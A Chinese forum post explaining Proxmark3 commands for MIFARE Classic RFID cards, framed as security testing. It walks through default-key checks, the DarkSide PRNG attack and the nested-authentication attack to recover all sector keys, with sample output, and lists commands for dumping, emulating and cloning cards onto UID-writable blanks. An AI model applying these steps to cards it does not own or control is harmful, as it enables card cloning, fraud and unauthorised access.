找回密码
 注册
首页 ≡≡桌面技术≡≡ 非接触式IC卡 pm3常用命令详解

pm3常用命令详解

灰儿 2019-5-14 16:41:40
MIFARE卡的相关命令...
proxmark3> help        显示帮助
hf               { High Frequency commands... }          高频指令
hw             { Hardware commands... }                   硬件命令
lf               { Low Frequency commands... }           低频指令
script         { Scripting commands }                       脚本脚本命令
quit             Exit program           退出退出程序
exit             Exit program           退出退出程序

hw tune     测量天线的调谐
hw ver      打印显示Proxmark3的固件版本信息
hw reset   重置PM3
hf 14a reader     检测卡的类型
hf mf mifare       执行漏洞攻击
hf mf nested 1 0 A FFFFFFFFFFFF d   测试嵌套认证漏洞,基于一个已知Key,获取都有扇区Keys


(1)检测卡的类型( hf 14a reader)
  这条命令可以用来检测卡是属于什么卡,命令为 hf 14a reader
  我们将我们的测试卡放置到读卡区内,输入命令进行读取。
  返回结果:
  proxmark3> hf 14a reader
  ATQA : 00 04
  UID : c0 68 ca d4
  SAK : 08 [2]
  TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
  proprietary non iso14443-4 card found, RATS not supported
  Answers to chinese magic backdoor commands: NO
  proxmark3>

  TYPE即是他的卡片属性,当你看到“NXP MIFARE CLASSIC 1k | Plus 2k SL1”的时候,就代表这是M1 S50的卡片,这种卡片出厂就是自带了加密的,密码不可以取消。既然知道了是什么卡片,那么就可以进行安全测试。

(2)暴力破解卡片密码(默认密码扫描)
  上文我们讲到了M1 S50卡片出厂自带的密码,那么我们想知道其中的数据,肯定要先对卡片进行一次密码破解,关于密码破解的命令如下:
  hf mf chk *1 ? t
  这条命令会枚举每个扇区的密码,然后执行一系列自动操作。

  如图所示,Proxmark3开始执行破解,可以从图中看到,已经获得了一些明文密钥,
  proxmark3> hf mf chk *1 ? t
  No key specified, trying default keys
  chk default key[ 0] ffffffffffff
  chk default key[ 1] 000000000000
  chk default key[ 2] a0a1a2a3a4a5
  chk default key[ 3] b0b1b2b3b4b5
  chk default key[ 4] aabbccddeeff
  chk default key[ 5] 4d3a99c351dd
  chk default key[ 6] 1a982c7e459a
  chk default key[ 7] d3f7d3f7d3f7
  chk default key[ 8] 714c5c886e97
  chk default key[ 9] 587ee5f9350f
  chk default key[10] a0478cc39091
  chk default key[11] 533cb6c723f6
  chk default key[12] 8fd0a4f256e9
  --sector: 0, block: 3, key type:A, key count:13
  Found valid key:[ffffffffffff]
  --sector: 1, block: 7, key type:A, key count:13
  Found valid key:[ffffffffffff]
  --sector: 2, block: 11, key type:A, key count:13
  Found valid key:[ffffffffffff]
  --sector: 3, block: 15, key type:A, key count:13
  贴出了部分返回信息,可以看到,Promark3自带的字典密码都已经显示,此时Proxmark3是开始测试常用的密码,接下来会用这些密码去验证扇区的密码。
  --sector: 0, block: 3, key type:A, key count:13
  Found valid key:[ffffffffffff]
  这条命令需要说明的是,这代表了验证成功,0扇区的卡片密码是“ffffffffffff",如果卡片不存在这个默认的密码,则不会出现提示。
  有意思是,Proxmark的字典里自带的这12种密码,包含了世界范围内发行的RFID卡片默认出厂钥匙,而国内的卡片出厂一般都是“ffffffffffff”

(3)执行漏洞攻击(PRNG破解)
  接下来我们可以用PRNG漏洞进行攻击,命令如下:
  hf mf mifare
  通过这种方式同样可以获得卡片的Key,但并不是所有的卡片都存在这种漏洞,如果不存在PRNG漏洞,就需要使用另外的方法来获得卡片的Key

(4)得到卡片的所有密码(知一密求全密)
  上面我提到了,对于IC卡,只需要获得一个密码就可以了,因为我们在后边可以用暴力破解的方式进行获取全卡密码。
  它的指令如下:
  hf mf nested 1 0 A FFFFFFFFFFFF d
  这是利用一个认证漏洞,可以使用任何一个扇区的密码来获取所有扇区的密码,这种破解方式的成功率相当高。      注意:在早期Nested 攻击命令中,输入d(参数)将key转储到dumpkeys.bin文件,才能够保证继续使用 MIFARE卡其它指令。

 -----------------------------------------------
  Iterations count: 12
  |---|----------------|---|----------------|---|
  |sec|key A |res|key B |res|
  |---|----------------|---|----------------|---|
  |000| ffffffffffff | 1 | ffffffffffff | 1 |
  |001| ffffffffffff | 1 | ffffffffffff | 1 |
  |002| ffffffffffff | 1 | ffffffffffff | 1 |
  |003| ffffffffffff | 1 | ffffffffffff | 1 |
  |004| ffffffffffff | 1 | ffffffffffff | 1 |
  |005| ffffffffffff | 1 | ffffffffffff | 1 |
  |006| ffffffffffff | 1 | ffffffffffff | 1 |
  |007| ffffffffffff | 1 | ffffffffffff | 1 |
  |008| ffffffffffff | 1 | ffffffffffff | 1 |
  |009| ffffffffffff | 1 | ffffffffffff | 1 |
  |010| 740f6dXXXXXX | 1 | 740f6dcXXXXX | 1 |
  |011| 740f6dXXXXXX | 1 | 740f6dXXXXXX | 1 |
  |012| 740f6dXXXXXXX | 1 | 740f6dXXXXXX | 1 |
  |013| 740f6dXXXXXX | 1 | 740f6XXXXXXX | 1 |
  |014| ffffffffffff | 1 | ffffffffffff | 1 |
  |015| ffffffffffff | 1 | ffffffffffff | 1 |
  |---|----------------|---|----------------|---|
  Printing keys to binary file dumpkeys.bin...
  proxmark3>

RES的意思是代表结果,1是密码正确,0代表密码错误。


其它指令:
dbg  设置默认调试模式
rdbl  读取MIFARE classic卡的区块数据
rdsc  读取MIFARE classic卡的扇区数据
dump  导出MIFARE classic卡的数据到二进制文件
restore  从二进制文件恢复数据到空白的MIFARE classic卡
wrbl  改写MIFARE classic卡的区块数据
chk  测试MIFARE classic卡的各个区块KEY A/B
mifare  基于PRNG漏洞,执行mifare “DarkSide”攻击操作
sniff  嗅卡片与读写器之间的通讯(等同于hf 14a snoop)
sim  模拟一个MIFARE卡片
eclr  清除仿真内存的各区块数据
eget   获取仿真内存的各区块数据
eset  设置仿真内存的各区块数据
eload   从导出的文件加载仿真数据
esave  导出保存仿真数据到文件
ecfill   利用仿真器的keys来填补仿真内存
ekeyprn  打印输出仿真内存中的keys
csetuid  直接设置可改UID卡的UID
csetblk  把对应区块数据写入UID卡
cgetblk  读取UID卡对应区块数据
cgetsc   读取UID卡对应扇区数据
cload   写入dump数据到UID卡。注意
csave   保存UID卡数据到文件或者仿真内存


您需要登录后才可以回帖 登录 | 注册
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。